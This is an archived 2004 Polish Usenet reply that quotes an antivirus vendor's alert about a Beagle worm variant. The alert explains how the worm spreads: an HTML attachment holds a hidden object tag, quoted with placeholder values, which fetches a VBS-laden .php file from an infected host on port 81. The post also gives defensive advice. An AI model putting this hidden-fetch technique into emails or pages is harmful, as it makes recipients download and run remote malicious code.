Re: [raport] Wirus nie wirus?

Article View: pl.internet.mordplik

Article #448

Back to pl.internet.mordplik Previous Next

#448

From: Przemyslaw Popielarski
Date: Thu, 18 Mar 2004 20:11

38 lines
1760 bytes

Przemysław Rachwał wrote:
> Dostaję od niedawna, najbardziej intryguje mnie
> http://68.230.122.66:81
>
> jak to wirus jestem widać mocno nie w temacie

Zdecydowanie:

Kamil Konieczny,
[MKS_VIR-INFO-LINUX] nowy robak Beagle

------------
Witaj !

Nowy robak wysyla tylko male e-mail'e z zalacznikiem html
zawierajaca tylko wpis w sekcji html:

STYLE="display:none" DATA="http://XXX.XXX.XXX.XXX:81/nnnnnn.php"

XXX    - adres zainfekowanego komputera
nnnnnn - szesc cyfr

Metoda na zablokowanie robaka to blokada portu 81,
druga to traktowanie takiego listu jako spamu
(w liscie brak tesci).

Mks wykrywa wirusa w sciaganym pliku .php
ktory jest skryptem vbs.

--
Pozdrowienia,
 Kamil                          mailto:[ciach]@mks.com.pl
------------

-- 
./ premax
./ premax@hot,pl
./ koniec i bomba, a kto czytal ten traba. w.g.

Technical Details

Message-ID: <405a0240$1@news.home.net.pl>

Path:

mbox-mo1.pugleaf.net!archiver1.google.com!news1.google.com!news.glorb.com!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsfeed.tpinternet.pl!newsfeed.gazeta.pl!news.home.net.pl!not-for-mail

References: <c3ct5g$edt$1@inews.gazeta.pl>

Show Full Headers

Complete Article Headers

From: "Przemyslaw Popielarski" <pre...@hot.pl>
Newsgroups: pl.internet.mordplik
References: <c3ct5g$edt$1@inews.gazeta.pl>
Subject: Re: [raport] Wirus nie wirus?
Date: Thu, 18 Mar 2004 21:11:08 +0100
Lines: 39
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Newsreader: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
NNTP-Posting-Host: 83.31.30.127
Message-ID: <405a0240$1@news.home.net.pl>
X-Trace: news.home.net.pl 1079640640 83.31.30.127 (18 Mar 2004 21:10:40 +0100)
Organization: home.pl news server
X-Authenticated-User: premax.hot
Path: mbox-mo1.pugleaf.net!archiver1.google.com!news1.google.com!news.glorb.com!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsfeed.tpinternet.pl!newsfeed.gazeta.pl!news.home.net.pl!not-for-mail
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Reply to Parent Message